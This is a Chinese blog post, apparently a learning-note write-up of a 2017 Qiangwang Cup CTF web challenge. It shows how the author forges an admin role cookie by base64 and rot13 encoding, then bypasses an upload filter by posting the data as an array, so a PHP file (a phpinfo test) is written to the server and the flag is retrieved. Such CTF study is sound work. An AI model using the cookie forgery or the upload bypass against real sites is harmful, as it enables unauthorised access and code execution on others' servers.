2017强网杯 web 解题思路总结

声明:首先这篇博文算不上原创,自己也是一个小白,在这里我主要参考了
这篇博客:https://blog.csdn.net/hardhard123/article/details/79683128
以及这篇writeup:https://www.ichunqiu.com/writeup/detail/503

写这篇博客的主要动机就是一边总结,一边学习,就当做是一篇学习笔记。


首先打开题目连接,出现下图所示,发现并没有什么有用的信息
这里写图片描述
查看源码,还是没找到有用的信息

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
Sorry. You have no permissions.</body>
</html>

1.初步思考
没有提示,也没有连接,那么可能有以下几种可能:
1.1 敏感文件泄露;(目录扫描)
1.2 跳转;(抓包)
1.3 cookie / session。(查看cookie)
2.cookie中的role
这里写图片描述
Zjo1OiJ0aHJmZyI7base64解码得到:f:5:"thrfg";,将thrfgrot13解密后得到guest

于是改为admin逆过去,adminrot13转换得到nqzva,再将f:5:"nqzva";base64编码得到Zjo1OiJucXp2YSI7

修改cookie的值提交到服务器,得到如下回应
这里写图片描述

查看源码,发现线索$filename = $_POST['filename']; $data = $_POST['data'];可以看到这是一个POST文件上传的操作,

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget.</body>
</html>

接下来,顺着提示,借助于浏览器器插件hackbar,将filename=hh.php&data=<?php phpinfo(); ?>POST出去,得到No No No!
这里写图片描述

查看源码,没啥有用的信息

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
No No No!

猜测代码中有一个用来匹配的正则表达式
写入文件除了fopen fwrite fclose 还有一种file_put_contents 这个允许data是数组 (不能是多维数组);

所以改为:

filename=hh.php&data=[]<?php phpinfo(); ?>

再次POST,
这里写图片描述
得到了一个地址./uploads/d8bc6a3fb97ef6d2aec73924ea7c9409hh.php,访问该地址
拿到flag
这里写图片描述

猜你喜欢

转载自blog.csdn.net/qq_34444097/article/details/79875094